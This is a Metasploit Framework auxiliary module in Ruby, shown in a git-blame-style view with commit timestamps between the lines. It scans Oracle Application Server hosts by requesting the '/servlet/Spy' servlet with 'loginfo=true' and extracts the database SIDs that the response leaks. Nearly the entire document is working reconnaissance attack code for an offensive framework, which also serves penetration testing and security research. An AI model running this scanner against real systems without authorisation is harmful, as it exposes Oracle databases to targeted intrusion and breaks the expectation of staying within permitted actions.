2010-04-30 08:40:19 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2009-05-01 22:01:21 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2009-05-01 22:01:21 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
include Msf::Auxiliary::Report
|
2009-05-01 22:01:21 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
2010-11-24 06:10:13 +00:00
|
|
|
'Name' => 'Oracle Application Server Spy Servlet SID Enumeration',
|
2009-05-01 22:01:21 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This module makes a request to the Oracle Application Server
|
2010-09-20 08:06:27 +00:00
|
|
|
in an attempt to discover the SID.
|
2009-05-01 22:01:21 +00:00
|
|
|
},
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'URL', 'http://dsecrg.com/files/pub/pdf/Different_ways_to_guess_Oracle_database_SID_(eng).pdf' ],
|
|
|
|
],
|
|
|
|
'Author' => [ 'MC' ],
|
|
|
|
'License' => MSF_LICENSE
|
|
|
|
)
|
|
|
|
|
2010-09-20 08:06:27 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(1158)
|
|
|
|
], self.class)
|
2009-05-01 22:01:21 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def run_host(ip)
|
|
|
|
begin
|
|
|
|
res = send_request_raw({
|
|
|
|
'uri' => '/servlet/Spy?format=raw&loginfo=true',
|
|
|
|
'method' => 'GET',
|
|
|
|
'version' => '1.1',
|
|
|
|
}, 5)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-05-01 22:01:21 +00:00
|
|
|
if ( res.body =~ /SERVICE_NAME=/ )
|
2010-06-22 18:58:38 +00:00
|
|
|
select(nil,nil,nil,2)
|
2009-05-01 22:01:21 +00:00
|
|
|
sid = res.body.scan(/SERVICE_NAME=([^\)]+)/)
|
|
|
|
report_note(
|
|
|
|
:host => ip,
|
2011-11-09 08:51:47 +00:00
|
|
|
:port => datastore['RPORT'],
|
2009-05-01 22:01:21 +00:00
|
|
|
:proto => 'tcp',
|
2011-11-09 08:51:47 +00:00
|
|
|
:type => 'oracle_sid',
|
|
|
|
:data => "#{sid.uniq}",
|
|
|
|
:update => :unique_data
|
2009-05-01 22:01:21 +00:00
|
|
|
)
|
2011-11-09 08:51:47 +00:00
|
|
|
print_good("#{rhost}:#{rport} Discovered SID: '#{sid.uniq}'")
|
2009-05-01 22:01:21 +00:00
|
|
|
else
|
|
|
|
print_error("Unable to retrieve SID for #{ip}...")
|
|
|
|
end
|
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
|
|
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|